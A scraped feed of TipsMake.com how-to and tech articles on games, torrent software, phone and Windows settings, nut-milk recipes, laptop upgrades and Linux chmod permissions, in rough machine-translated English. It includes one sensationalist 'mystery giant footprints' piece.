continue to use PUBG Mobile Global version if installed earlier in this time.\nAnd now, VNG has not shown a direct payment gateway in Vietnam such as Zing card, charging card . Users still have to load UC through Store payment gateway.\nThese are the differences between PUBG Mobile VNG version and PUBG Mobile International version, and in addition, PUBG Mobile Vietnam version is no different from PUBG Mobile Global, only Vietnamese interface for game Vietnamese players easily learn more features and events in the game.\nSee more:\nTOP best survival game on PC and download link Guide to playing Fortnite games on iPhone and iPad Top best gaming desktops Complete how to install Cheat Engine and use Cheat Engine when playing games ncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpoqufo3qjsdOwnJ6mXaXCo7OMpqaboZyaere6xmaYp5xdpcKjs4ymppuhnJp6qrrTnqmnmaSevK%2Btyw%3D%3D\n","link":"/post/comparison-between-pubg-mobile-vng-and-pubg-mobile-international/","section":"post","tags":null,"title":"Comparison between PUBG Mobile VNG and PUBG Mobile International"},{"body":" download pubg mobile vn | TipsMake.com    from today, november 26, 2018, users in vietnam have been able to download the vietnamese version of pubg from vng publisher for both android and ios. this is the pubg version dedicated to the vietnam region with its own server, with vietnamese interface.   how to download pubg mobile internationally when you do not want to download pugb mobile vng. recently, the publisher of vng game has officially launched the official version of pubg mobile vn on google play store and app store. in fact, the version   here is how to install pubg mobile vng file on tencent gaming buddy emulator, making it possible to play pubg mobile vietnam on pc   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0mibqK%2BeobyisIyprJufXaK8o7XLnmSvpl6dwa64\n","link":"/post/download-pubg-mobile-vn-tipsmake-com/","section":"post","tags":null,"title":"download pubg mobile vn | TipsMake.com"},{"body":" Free software Version: 5.7.7.0 Update date: January 20, 2021 Platforms: Windows, Mac Download Vuze 5.7.7.0 here.\nVuze 5.7.7.0 not only allows users to discover music, videos, movies and games from the dashboard, but also keeps you in the Vuze ecosystem during the process. Ideal for both novice and advanced users, this torrent downloader is also available on Mac devices.\n  Features of Vuze Publish content directly from the platform Powered by Azureus Engine, Vuze is a BitTorrent client that allows users to download content using a torrent. Since the application is written in Java, you will require a Java Runtime Environment for it to function. It is free to use and offers a host of features for downloading and uploading media files.\nSimilar to other torrent downloaders, Vuze for Windows offers instant search, simultaneous downloads and queuing options. However, in addition to these, you can use the tool to explore relevant content, adjust user experience settings, access software using remote applications, install plugins and extensions. extend.\nIntuitive interface The Vuze download and installation process is quite simple, only takes a few minutes. Once done, you can access an easy-to-use interface that includes a display panel, menu bar, and navigation panel. The dashboard also comes with a built-in video player, search bar, remote control, and automatic transcoding - all subtly placed so as not to overwhelm beginner users. Experts can customize the dashboard using tools and plugins.\nOne of the best things about this torrent app is that it comes with an setting called User Proficiency . With this setting, you can adjust your interface experience, such as the features you see according to your torrent experience. You can choose the settings for Beginner , followed by Intermediate and then Advanced to fully utilize the functionality of Vuze.\nFeature-rich dashboard The free version of Vuze has an impressive list of features. For starters, the app comes with a built-in search bar that allows users to search for torrent directly from the dashboard. Additionally, the details page for any torrent will open in Vuze's website, thus avoiding potential security problems if the user is redirected to third-party clients.\nFor added convenience, Vuze for Windows comes with HD video player, allowing users to open and preview files directly from the console. The torrent downloader supports different video formats, including Quicktime, AVI, WMV, MPEG and XVID, so Vuze users won't need a separate video player. You can also drag and drop videos from your computer library onto the dashboard for easy playback.\nThis software also gives the user more control over the console and downloads compared to other torrent downloaders. It allows users to block IP addresses if they send bad data and control it with a mobile app. Users can start, pause or stop the download from anywhere. While the Vuze remote control app can be downloaded and used for free, it's only available for Android devices.\nComes with RSS Feed support If you need to download torrents periodically or in batches, you'll be happy to know that Vuze supports RSS Feed subscriptions. With this function, you will receive automatic notifications when new content is available to download. You won't have to manually start the download, and there will be the option to filter different feeds using keywords or file size.\nOption to install extensions and plugins To enhance functionality, Vuze's advanced users can add various plugins and extensions as required. Vuze supports various BitTorrent protocols, including magnet link, PEX, LSD, DHT, etc. You can even add a plugin to view a peer's location and schedule downloads by tracking speed. based on the time of day. In addition to these, there's also an extension that you can add to identify fake torrents as well as an option to view peers in the 3D view.\nPremium version comes with additional features If you're looking for an ad-free experience, you can pay a small fee to upgrade to Vuze Plus - the premium version of Vuze. It not only blocks ads, but also allows you to stream movies and shows while downloading. The torrent downloader also comes with a built-in anti-virus software to protect users from fake threats and torrents.\nAdvantages\nFeature-rich torrent downloader Customizable user experience Remote torrent management options Supports plugins and extensions Defect\nIt can be overwhelming for beginners ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdq8K7sYxubnBoXZZ6sbvWnqmfrZxiwbC%2B0Z6lrWWUpMSvuM6am56q\n","link":"/post/download-vuze-5-7-7-0-a-powerful-torrent-downloader/","section":"post","tags":null,"title":"Download Vuze 5.7.7.0: A powerful torrent downloader"},{"body":"On Samsung Galaxy Note 10 or Galaxy S20 there is the option to change the power key to another task for user convenience. The power keys on these two devices of Samsung have many actions to perform different tasks, such as double-clicking or holding and there are many different tasks performed. By default, an action is assigned to an action, but they can be completely changed to another task for more convenient and easier use. The following article will guide you how to customize the power key on Galaxy Note 10, Galaxy S20.\nHow to adjust Samsung Galaxy S20 power key We access Settings\u0026gt; Advanced settings\u0026gt; Edge keys . Then in this interface you will see action options for the action of the side keys on the Galaxy S20.\nClick twice:\nQuick launch the camera. Open Bixby. Open the application. Press and hold:\nWake Bixby. Power off menu. Which item you choose, the operation will have different functions.\n  If we want action to perform any task, we click to change. In case we use the hold button to call Bixby, the operation to open the power off menu will be to hold the power button + volume down button together.\nParticularly, activating the virtual assistant Bixby from the Galaxy S10 versions and below will have its own key and we can also adjust the function of this key. We go to Settings\u0026gt; Advanced features\u0026gt; Bixby Key then change the settings for Bixby.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55loKTEpr6Mm6ytrJ%2BjerStzKysp59dnK6trdeyZKenpJp6cnyMoJilmaiuerR%2Bjw%3D%3D\n","link":"/post/how-to-change-the-power-button-samsung-galaxy-note-10-galaxy-s20/","section":"post","tags":null,"title":"How to change the power button Samsung Galaxy Note 10, Galaxy S20"},{"body":"To convert image files to PDF, we can install software such as Adobe Reader and Foxit Reader or use online conversion services such as Smallpdf, png2pdf, . However for those who use the system On Windows 10, we can use the conversion feature available that is Microsoft Print to PDF. In addition to being able to create a PDF file from multiple image files on Windows 10, users can also convert image formats such as JPG, PNG, . to PDF format quickly.\nIf you need to convert PDF to Word, you can consult: Simple way to convert PDF files to Word\nStep 1: First of all, we will right click on the image we want to convert to PDF and select Print . You can select many different images to convert to PDF format.\n  Step 2: The Print Pictures dialog box appears. At this point, the Printer item will click on Microsoft Print to PDF . Then on the right outside the same interface, we proceed to select the file format as printed in general format Full page photo, 13 x 18 cm, 10 x 15 cm, . These sizes will vary depending on images that users use.\nNext to the Paper Size section, you can resize the file, click More . to add more sizes. Choose image quality at Quality .\n  Step 3: Next, users need to select Fit picture to frame to automatically adjust the image to fit the frame in PDF. In the Copies section of each, we will select the number of copies for the file. Then click Print to proceed with the print job.\n  Step 4: Right after that, the PDF file will be saved on the computer. The user moves to the folder where he or she wants to save the file and names the file, then click Save to save. As such, the Microsoft Print to PDF feature converts images into PDF files instead of creating image prints.\n  Now use the PDF reader software on your computer to open the file.\n  Very fast and simple right ?! Just use the Microsoft Print to PDF feature available on Windows 10, so we can convert images into PDF files. Besides, you can also merge multiple image files and then convert into a single PDF file.\nRefer to the following articles: How to convert PNG images to PDF files How to convert JPG image file to PDF file online Instructions for creating a PDF file from multiple image files on Windows ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmoKaZl5p6p7XLnmStp12lsad5zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-convert-image-file-to-pdf-on-windows-10/","section":"post","tags":null,"title":"How to convert image file to PDF on Windows 10"},{"body":"Nut milk is the favorite drink of many people. Not only delicious, easy to drink, this type of milk is also considered rich in nutrition, good for health. In today's article, TipsMake.com will help you better understand the benefits of nut milk and share some ways to make nut milk with a simple home blender .\ncontent What is nut milk? Benefits of nut milk How to make nut milk with a blender at home How to make lotus seed milk How to make almond milk with a blender How to make walnut milk Instructions on how to make cashew milk with a blender  What is nut milk? Benefits of nut milk Nut milk (or vegetable milk) simply means milk made from nuts. Based on raw materials, it is divided into 3 main types of milk, including: Grain cereal milk (rice, wheat, oats .), pea milk (soy, black beans, green beans .), nut milk hard shells (almonds, walnuts, hazelnuts .). Nut milk is often delicious, easy to drink, so it suits the taste of most people, from the elderly to young children.\nAccording to experts, nut milk is a rich source of nutrients, especially vitamins, minerals, antioxidants, proteins, polyunsaturated fatty acids such as omega 3, 6, 9, substances Fiber . Drinking regular nut milk brings us many benefits, such as:\nBalanced nutrition, helps the body more and more healthy, supple. Good for cardiovascular. Helps to maintain shape, beautify the skin, prevent premature aging. Good for the brain development of young children, supporting memory improvement for the elderly. Good for the digestive system. Reducing bad cholesterol, supporting the burning of excess fat in the body.   How to make nut milk with a blender at home Making nut milk at home not only saves you money but also ensures food safety and hygiene. Normally, to make nut milk, people will use grain milk maker. However, if you have not bought this device, you can use a blender instead.\nHere's how to make some nuts with a blender that you can refer to and apply:\nHow to make lotus seed milk Lotus seeds contain a lot of protein, carbohydrates, vitamins of group B, C, enzyme L-isoaspartyl methyltransferase . Drinking lotus seed milk not only helps you improve anemia, treat headaches but also beautify the skin and fight aging.\nThere are many types of lotus seed milk that you can process, such as pure lotus seed milk, lotus seed pumpkin milk, lotus seed oat milk, lotus seed red bean milk, lotus seed green bean milk . In the article hey, TipsMake.com would like to share with you how to cook lotus seed pumpkin milk. With other types of lotus seed milk, you can do the same.\nMaterial\nPumpkin: 100g Lotus seeds: 100g Sugar: 1 tbsp Condensed milk: 1 tbsp Pineapple leaves Tools: Blender, pot, strainer . Perform\nStep 1: Pumpkin peeled, washed, cut small pieces. Lotus seeds remove lotus heart. If it's a dried lotus seed, soak it for about 2 hours to soften it. Step 2: Put lotus seeds in a cooking pot. Once the lotus seeds have softened, you can cook the pumpkin. When both the lotus seeds and the pumpkin are soft, they give off the fragrance, they start cooking. Step 3: Put the mixture of cooked pumpkin, lotus seeds and 500ml in a puree blender. After grinding, you pass the mixture through the sieve to make the lotus seed pumpkin milk smoother. Step 4: Add the filtered mixture to the pot with a little pineapple leaves, 1 tbsp of sugar, 1 tbsp of condensed milk for cooking. When the milk boils, turn off the heat and bring out a glass to enjoy. If you do not finish the milk, you can fill the bottle, cover and store in a refrigerator for up to 3 days.   How to make almond milk with a blender Almond milk is an incredibly healthy nut milk because it is low in calories and contains no saturated fat but is rich in protein, vitamins and minerals, especially vitamin D, vitamin B, vitamin E, and iron. , calcium. Drinking almond milk every day will help you protect the heart, prevent diabetes, strengthen bones, strengthen muscles, beautify the skin .\nIn addition to pure almond milk, you can combine almonds with other nuts to make your favorite milk, such as walnut almond milk, oat almond milk, almond soya milk . Here's how to make almond soy milk using a very simple blender you can apply:\nMaterial\n200g soy beans 100g of almonds 3 pineapple leaves Sugar (depending on taste) Tools: Blender, pot, strainer . Making\nStep 1: Soybeans are soaked in water for about 5 hours to hatch and then treat the pods, leaving the seeds deep and scattered. Almonds soak for about 2 hours, then peel off. Pineapple leaves washed. Step 2: Put almonds and soy beans in a blender with about 1.5 liters of water to puree. Note, you should divide the ingredients into sections to grind, not all at once. Step 3: Pour the mixture through a sieve, retain the milk, discard the residue. Step 4: Put almond milk, pineapple leaves, a little sugar in the pot and boil. Step 5: When the milk has boiled, turn off the heat, let the milk cool down and enjoy.   How to make walnut milk Walnut milk is one of the most popular nut milk types today. With rich nutrition, walnut milk brings a lot of health benefits, such as helping to raise good cholesterol, reduce bad cholesterol, prevent cardiovascular disease; improve diabetes; Good for the digestive system, prevent kidney stones; calcium supplements, help strengthen bones; improve insomnia; support weight loss, keep fit, beautiful skin.\nHere, we would like to share with you how to make black bean walnut milk in a blender. You can completely apply this method to processing other types of walnut milk such as oat walnut milk, walnut red bean milk .\nMaterial\nBlack beans: 100g Walnuts: 100g Sugar, filtered water Tools: Blender, pot, strainer . Making\nStep 1: Wash the black beans, remove the seeds that are deep, flatten and then soak in water for 8 - 10 hours. Walnuts washed, soaked in water for 4 hours. Step 2: Add black beans and 500ml water to a very soft pot. Step 3: After the black beans are soft, add black beans, walnuts and 1.5 liters of cool boiled water to a blender for about 4-5 times. At the last grind, you can add sugar to suit your taste. Pour the milk through the sieve to make it smoother. Step 4: Enjoy! You can enjoy black bean walnut milk when you have just finished or put it in the fridge to cool down (but it shouldn't take more than 3 days).   Instructions on how to make cashew milk with a blender Cashew milk is packed with healthy fats (unsaturated fats), proteins, vitamins and minerals. Thanks to its rich nutrient content, cashew milk brings many benefits to our health such as enhancing cardiovascular health, protecting eyes, can support blood clotting, blood sugar control, and beautify the skin. boosting immunity, preventing cancer, improving iron deficiency anemia .\nPure fresh cashew milk is inherently delicious, but if you can combine cashews with other nuts, it will make the nut milk more attractive and nutritious, such as oat milk, milk Cashew pumpkin, cashew green bean milk, cashew soy milk . You can refer to making oatmeal milk with a home blender below:\nMaterial\n100g oats 100g cashews Street Tools: Blender, pot, strainer . Proceed\nStep 1: Soak the cashews in water for 2-3 hours until soft. Put the oats in a bowl of boiling water, stir a few rounds, then remove the water, then continue to soak the oats in warm water for about 5 - 10 minutes. Step 2: Put oats, cashews and about 700ml of boiled water to cool in a puree blender. Step 3: For the mixture of oats, cashews have been finely ground through a strainer to make the milk smoother. After you've removed all the pulp, you can add sugar to cashew oat milk to suit your taste. Finally, you just need to give the milk and enjoy. If you do not finish your milk during the day, you can store it in the refrigerator cooler but do not store it for more than 3 days.   With abundant nutrition, nut milk is really the food that we should use every day. Hopefully the formula made using nut blender we have shared will help you. Wishing you and your family are always healthy.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuutStZKahnKB6uLXToWSaZZSauaqvyKisrGWeqsGztdOipq6rXZe5prrDnqk%3D\n","link":"/post/how-to-make-nut-milk-with-a-delicious-nutritious-blender/","section":"post","tags":null,"title":"How to make nut milk with a delicious, nutritious blender"},{"body":"Tik Tok currently supports users to log in accounts with related applications such as Facebook, Google, Twitter or some other social networking accounts, but this login method is related to sub-accounts and not There is no password.\nIf you want your account to have a password you must add a phone number, this phone number also serves when you want to change your password. How to change the password Tik Tok you can follow below this article.\nHow to delete videos posted on Tik Tok Instructions to download music on Tik Tok to your phone as a ringtone How to use the application Tik Tok sing along to the music Instructions to change password Tik Tok Step 1: Log in to your Tik Tok account into the application, then click on the personalized icon. In the upper right corner you will see a Settings extension icon, click that then select Settings .\n   Step 2: In the Settings menu, select Manage My Account , and then click Settings in the Password section.\n   Next, you will see a new password change. In this new password change section, Tik Tok will not ask you to enter the old password. All you have to do is write the new password and click the Next arrow below.\nThen there will be a 4-digit authentication code sent to your phone number and enter the confirmation code and press the V to agree to change the password.\n   Changing Tik Tok account password is quite simple, but you should remember that if you are using a social network account to log in to Tik Tok, you need to add it first in order to create a new password.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabmJa7qLXNoGStoZtiwbC3jJqanKelo8FuvMCsqrCnopk%3D\n","link":"/post/instructions-for-changing-tik-tok-account-password/","section":"post","tags":null,"title":"Instructions for changing Tik Tok account password"},{"body":"In Escape the Darkness, players can play the role of a killer who is scouring the map looking for and trying to kill survivors. In the role of a survivor, gamers need to restore their strength by completing objectives and escaping. Choose from Medic, Engineer and Scout, each with their own unique abilities and perks that can help the player survive.\n Like many other Roblox games, Escape the Darkness regularly gives players redemption codes to receive useful items like Shards and boosters. In this article, learn how to enter the code, and a constantly updated list of the latest Escape the Darkness codes.\nLatest Escape the Darkness codes All Escape the Darkness codes have an expiration date, so players need to enter the code quickly to avoid the code becoming invalid. Each player can only use the redemption code once. In addition, everyone needs to pay attention to enter the correct code, including uppercase, lowercase letters and special characters, to ensure receiving the gift.\n Code Reward  happy-easter Get 300 Shards and 150% XP booster   WELCOME-BACK\u0026nbsp; Get 300 Shard   10000LIKES\u0026nbsp; Get 150 Shards   5000-LIKES\u0026nbsp; Get 150 Shards   Deeter\u0026nbsp; Get 250 Shard   TeraBrite\u0026nbsp; Get 250 Shard   Russo\u0026nbsp; Get 250Shard   Instructions to enter the code Escape the Darkness The operation of entering the Demon Soul Simulator code is similar to other Roblox games with the following steps:\nStep 1 : Open Escape the Darkness on Roblox.\nStep 2 : Click the $ icon on the left side of the main interface to open the in-game store.\nStep 3 : Once in the store, look at the top of the screen to find the text box that says Enter Code Here . Enter the exact code or copy the code provided above into that blank box.\nStep 4 : Click the redeem code button to confirm using the code and receive the reward immediately in the game.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmo5qslajBbrHSnJipnV2ptaZ5w5qppKaVqMBur86dnGaZnpl6qbvWZquoZZWjwaa%2B\n","link":"/post/summary-of-the-latest-escape-the-darkness-code-and-how-to-enter/","section":"post","tags":null,"title":"Summary of the latest Escape the Darkness code and how to enter"},{"body":"Discovered in 1987, the huge fossil footprint of 290 million years old in New Mexico is still a riddle to scientists.\nArchaeologist Jerry MacDonald discovered this fossil footprint along with fossils of birds and many other animals.\n  Mysterious footprints in New Mexico\nAccording to the study, this fossil footprint dates back to the Permian period (from 248 to 290 million years ago), far away from the time when humans and birds appeared on Earth.\nSo why can human footprints appear in that period? Is it a prehistoric, an ancestor of modern humans? Archaeologists around the world still cannot explain this mystery.\nBut if this is true, Darwin's theory of evolution is wrong? A lot of controversy took place, one side believed that this mysterious footprint was a hoax, one side believed that the theory of evolution was wrong.\nThis 290 million-year-old fossil footprint was classified by the archaeologists as the most mysterious problem because they could not make any hypotheses about the reason for this footprint, who created it.\n  Giant footprints in Africa\nWhen conducting excavations in Africa, archaeologists also unexpectedly discovered a giant footprint with a length of up to 120cm.\nThis further increases the authenticity of the giant that existed hundreds of millions of years ago. Are we wrong about the origin and history of humanity? The answer may have to rely on scientists' findings, and future research.\nGiant footprint of 100 million years old\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKawrKyVp8Zuu8Vmq6GdXWeGcbnIpaOip56usqK%2BzqWbZp%2BZlru1v4ycn5qknJq7qLHSZqqcoZWjwaq%2F06xkmqqfqruledOhnGavn6e5pQ%3D%3D\n","link":"/post/the-mystery-of-the-290-million-year-old-giants-challenges-scientists-around-the-world/","section":"post","tags":null,"title":"The mystery of the 290-million-year-old giants challenges scientists around the world"},{"body":"Windows Terminal is a new command-line interface application released by Microsoft in late May 2019, aimed at simplifying the process of accessing environments such as PowerShell, cmd.exe and Windows subsystem for Linux (WSL).\nBasically, Windows Terminal is not designed to replace existing control panels such as Command Prompt or PowerShell, but rather to provide users with a new, accessible type control panel option. with more features through support for other shells installed in Windows.\nFrom the time of launch, Windows Terminal has been continuously improved by Microsoft, adding many useful features such as the ability to support multiple tabs and customize the theme, insert emoticons and render based on GPU, term consume a lot of system resources .\nIn the upcoming update, Windows Terminal will be adding a series of 'classic' retro-style CRT effects, bringing a familiar but equally interesting experience to people. use.\n  Besides the nostalgic interface, Microsoft will also add some notable new functions to Windows Terminal. You will be able to 'search' the terminal tabs to find input or output information from various commands, as well as resize the tab being added so that you can adjust to see more tabs. In addition, Microsoft will also add the ability to specify a profile to be opened with custom lock constraints, in addition to applying a single setting to all terminal profiles.\nAll of these improvements follow the recent update to Windows Terminal - introducing split view support. You can now open multiple command prompt (s) side by side in the same tab in Terminal.\nThe new Windows Terminal update will be released by Microsoft worldwide from January 14.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWkmr%2Butc2ao2aho2Kuo7vUrWStp12drrexjJpkq52kp7xuwsSrqqKnnmLEqsDHZphmm5yWwLS1wmagp6yVp7Oir8Q%3D\n","link":"/post/windows-terminal-is-about-to-have-a-retro-version-with-a-classic-interface/","section":"post","tags":null,"title":"Windows Terminal is about to have a retro version with a 'classic' interface."},{"body":"Programs such as AccuMark, Kaledo 3D Trend . will help professional or amateur designers easily create new fads with reasonable calculations to save fabrics when sewing.\n  The fashion design programs have been adopted by many fashion houses since the 1990s to improve work efficiency, save materials with artificial intelligence, 3D motion capabilities, real-life avatar worlds . .\n  V-Stitcher is a module for the AccuMark design program developed by Gerber Technology, allowing designers to determine the amount of fabric that fits the body thanks to 3D models.\n  Lectra, another popular fashion software firm, offers Modaris 3D Fit.\n  Modaris 3D Fit also allows designers to see the outfit in a 3D environment through a virtual model, then shift parameters to a 2D fabric pattern for tailors.\n  Lectra's Kaledo 3D Trend software lets you import real-life designs to create a multimedia 3D tool, including photos, videos and audio. The program is now free to try.\n  The fashion design program differs from home design software in that the fabric must be calculated to fit the curves of the human body.\n  Earlier this year, Lectra released a new upgrade for the software, helping manufacturers create their own models for each wearer's size.\n  The designs are precisely designed thanks to Gerber's Vision Fashion Studio software. These patterns are scanned, color correction, sharpness and new pattern fabric output.\n  Lectra's Kaledo Suite also allows designers to design weaving and knitting, serving yarn factories.\n  Gerber DCS 1500 model cutter is used for small production facilities, can cut many patterns, many sizes, many colors, saving fabric costs.\n  There are many different fashion design software for professional stylists or tailors. SnapFashun provides an installer for Adobe Illustrator, which helps them connect many elements such as bags, shoulder types, sleeves . to a new template.\nViet Toan\nncG1vNJzZmismaXArq3KnmWcp51kxLC%2By51kn5mjnbawuoympp2dnJ67qHnSqJ2tr5Gnsg%3D%3D\n","link":"/post/world-fashion-modeling-software/","section":"post","tags":null,"title":"World fashion modeling software"},{"body":"You want to continue using the old laptop, but it runs too slowly? Take the following simple upgrade steps to refresh your laptop.\nRefresh the operating system: 3 options Backup first! Before changing the operating system, you must back up the data to an external hard drive and make sure you can easily reinstall the applications.\n1. Reinstall Windows: When used for too long, Windows will naturally slow down. Use a system recovery disk or a pre-installed system recovery program on your laptop to reformat or reinstall Windows. After refreshing the system, your computer will run much faster.\n  You can also use some applications to remove unnecessary programs such as Revo Uninstaller Portable, this program is free and easy to install, or Total Uninstall, has more features, it can control and rooted programs. If you want a tool that automatically searches unnecessary or redundant software or files, you should try using the free PC Decrapifier software.\n2. Upgrade to Windows 7: If you are running Windows XP or Windows Vista, please upgrade Windows 7. To see if your device can install Windows 7, download and install Windows 7 Upgrade Advisor for information.\n3. Try using Linux: Free, lightweight, and easy to upgrade, especially you should try Puppy Linux, very suitable for older computers, this operating system helps your computer boot faster.\nHardware upgrade: 1. Add memory: The fastest, cheapest way to help your computer run faster is to install more RAM. If your laptop has memory equal to or less than 512 MB, you need to upgrade to 1 GB. RAM prices are also very cheap, 1GB of RAM only costs about $ 20, so you should upgrade RAM to the maximum 'load' level of the machine.\n  2. Upgrade your hard drive: Replacing your laptop hard drive not only helps you get more storage, but also helps your device run faster. Hard drives of old laptops often have a very low turnaround speed of 4200 rpm; So if you upgrade to 5400 or 7200 rpm, the boot speed, data transfer and usage speed will increase significantly.\nFor about $ 50 you can buy a 5400 rpm 320 GB hard drive or 7200 320 GB rpm.\nUpgrading the hard drive is also easy and fast. Before replacing the hard drive, you must pay attention to the type of current hard drive, the type of interface, the height, or the model number of the hard drive and check the information on the hard drive manufacturer's website. The hard drive upgrade for notebooks, like Apricorn's, costs $ 19, which can resemble your old hard drive and you can easily transfer data to a new hard drive.\n3. Upgrade Wifi to Wireless-N: If your home line has Wireless-N (802.11n protocol), you can connect faster on your laptop by upgrading your wireless network card to a notebook from 802.11b standard. 802.11g to this latest 802.11n protocol. Wireless-N products can connect up to 7 times faster than 802.11g. Moreover, older wireless devices can reduce the speed of Wireless-N, so upgrading your laptop can speed up network access.\n  Although you can upgrade the wireless network card inside the laptop, you can also buy the 802.11n adapter to plug in the USB port. An adapter costs about 20 USD.\nThese upgrades are quite simple but can make your old laptop perform much better.\nncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYr%2Bms8SnnKuZpJp6sLjDZqOaqKSkvbQ%3D\n","link":"/post/6-ways-to-regenerate-old-laptops/","section":"post","tags":null,"title":"6 ways to 'regenerate' old laptops"},{"body":"The G60J and G51J will be comprehensive gaming laptops with the ability to handle outstanding 3D graphics and sound . Just one day after launching the first laptop with Intel Core i7 - M60J processor, Asus continues to introduce two new models for gamers: G60J (16 inch) and G51J (15.6 inches). .\n  ASUS G60J uses a powerful Core i7 in gaming. Gadgetfolder photo .\nThe ASUS G60J and G51J are all real gaming laptops with two new \"energy-boosting\" doses, the Intel Core i7 CPU next to the 1GB Nvidia GeForce GTX 260M discrete graphics card. These devices give Asus laptops the ability to handle outstanding 3D graphics with 3DMark 2006 benchmark results of over 11,000 points. And with Turbo Boost technology, the processing speed of an Intel Core i7--820QM machine will be self-regulating from the \"floor\" clock of 1.73 GHz to a maximum of 3.06 GHz.\nAccording to Gadgetfolder, Asus G60J and G51J also possess many other advanced features such as Altec Lansing speaker system and EAX Advanced HD 4.0 technology with 64 sound effects suitable for game environments while CMSS-3D offers Better surround sound quality, or LED-lit chiclet keyboard is ready for gamers to play games all night long. Detailed configuration of ASUS G60J and G51J :\nIntel Core i7-820QM / Core i7-720QM processor Intel PM55 Mobile Chipset 4 GB (DDR3 1066 MHz) GeForce GTX 260M graphics card 1GB HDD 250/320/500 GB (5400 rpm) or 320 / 500 GB (7,200 rpm) Optical drive DVD Super-Multi / Blu-ray Combo; 2MP Webcam 16-inch LED background display, 1,366 x 768 pixels (G60J); 15.6 inches, 1,920 x 200 pixels (G51J) Size 375 × 265 x 34.3 - 40.6 mm Weight 3.3 kg with 6 cell battery Windows 7 Ultimate / Home Premium operating system\nThe device will be offered first in the European market at the end of October with prices from 1,899 euros or more.\n          ncG1vNJzZmismaXArq3KnmWcp51krrTB0magp6yipLG2r8SdZK2vn2K6sL7EZpqoqpVitnh5y5qnraegqHqnu9FmnpqlmaO0\n","link":"/post/asus-introduced-two-more-core-i7-laptops-for-gaming/","section":"post","tags":null,"title":"Asus introduced two more Core i7 laptops for gaming"},{"body":"Network administration - Unix and Linux operating systems decentralize access to files and directories by using three access parameters, read (read), write (write) and execute (run) to delegate to three groups of objects statues, including: system owners, administrative groups and users.\nIf you list the properties of a file in detail with the ls command with the -l switch (for example, ls -l [filename] ), this command will return information with the form -rwe-rw-r- ( ie, decentralize read, write and execute to the system owner, grant read and write permissions to the administrative group, and only read permissions to other user objects).\nEach of these access privileges corresponds to a value:\nread = 4 write = 2 execute = 1 The values ​​for some access rights corresponding to each group are added together to form a value between 0 and 7 (can be used to change or decentralize using the chmod command - change mode ).\nFor example, enter the command chmod 764 [filename] to grant access to a certain file, in which the value of 764 is generated from:\nrwe = 4 (read) + 2 (write) + 1 (execute) = 7 rw = 4 (read) + 2 (write) = 6 r = 4 (read) = 4 You can use the chmod command to assign permissions to files and directories, but you should keep in mind the correct chmod command, not the uppercase characters in the command.\nThe chmod command is often used Here are some common chmod commands:\nchmod 777 filename : Grant full access to all user objects. chmod 775 filename : Grant full access to the system owner and administrative group, the user object can only read (read) and run (execute) the file. chmod 755 dirname : Grant full access to the system owner, only allow the administrative group and user objects to read and run the files in the directory. chmod 700 filename : Only grant full access to the system owner and block access to all other objects. chmod 500 dirname : Do not allow administrators and users to access files in the directory, and limit the read and run system owner permissions to avoid deleting and changing files in this directory. chmod 660 filename : Allows system owners and administrators to read, edit, delete and write data to the file, but do not grant access to other users. See more:\nBasic Shell commands in Linux 12 best Linux server operating systems ncG1vNJzZmismaXArq3KnmWcp51ksaq%2F06ugm62kmnqntcueZJqbk5rAtHnWoquhZZOdurCwjJympqWRo7E%3D\n","link":"/post/distribute-file-access-with-chmod-command/","section":"post","tags":null,"title":"Distribute file access with chmod command"},{"body":"Dell Latitude E7240 is a neat and powerful 12.5-inch Ultrabook with many configuration options, including Windows 7 or 8, touch screen or non-touch. Powered by a fourth-generation Intel Core (Haswell) processor, you can expect a good combination of performance and battery life with the Dell E7240.\nDesign Latitude E7240 is designed with a metal frame on the top and a metal band around the bottom edge, helping to protect the corners from being hit. The other parts are made from hard, thick plastic, giving the overall feel quite solid.\nHowever, there's a trade-off in weight: The E7240 weighs 1.36kg, which is quite heavy for a 12.5-inch Ultrabook.\nThe Dell E7240 is quite heavy for a 12.5-inch Ultrabook E7240 is a slightly thick computer (the back edge is up to 2cm thick). Inside, the screen border is quite wide and the keys of the E7240 are old-style instead of chiclet keys that look more modern, giving a disappointing typing experience. In return, the keys of the E7240 are very large, with a full-sized number sequence, plus a row of keys Fn(half the height). EnterLarge keys are easy to find while typing. The shortcuts on the arrow keys allow you to activate the keyboard backlight, cycle through 4 brightness levels, and control the screen brightness.\nThere is a small on / off switch located between the keys Fnand the hinge of the screen. There are also small buttons to control the volume and mute in this area.\nA white LED indicates that CapsLockthe status icons are turned on and illuminated in the narrow control panel above the screen. There is also a white light circle around the power jack to remind you that the Latitude E7240 is charging. A similar status light set on the back of the lid shows the drive activity, power status, and charging status when the Ultrabook is closed.\nThe touchpad is slightly concave and very responsive. The physical buttons below are huge and emit a clear click when pressed. It's a far cry from the buttons built into many laptops, but handy and useful. There is a fingerprint scanner in the lower right corner of the wrist pad and an HD webcam above the screen.\nThe 12.5-inch screen has a matte surface, so there's no problem with the light reflected from the windows - for example, when working on a train or plane. There are 2 screen options offered: Non-touch screen with 1366 x 768 pixel resolution or touch screen with 1920 x 1080 resolution.\nKey features of the Dell E7240 The Latitude E7240 is powered by a fourth-generation Intel Core (Haswell) processor, with options for either Core i5 or Core i7. The device tested in the article is the most advanced model with Core i7-4600U 2.1 - 3.3GHz and 8GB RAM, priced at 31,750,000 VND. The basic model (with a price of VND 20,150,000) has a Core i5-4200U 1.6 - 2.6GHz and 4GB of RAM. The GPU in all models is Intel's integrated HD Graphics 4400.\nThe model tested in this article has a 256GB SSD. There is no mechanical hard drive option for Latitude E7240 and 256GB which is the largest storage capacity offered. All but the most advanced models have 128GB SSDs.\nThe Latitude E7240 is powered by a fourth-generation Intel Core (Haswell) processor Windows 8 Pro and Windows 7 Professional options are available on this notebook, but only the basic preconfigured model comes with 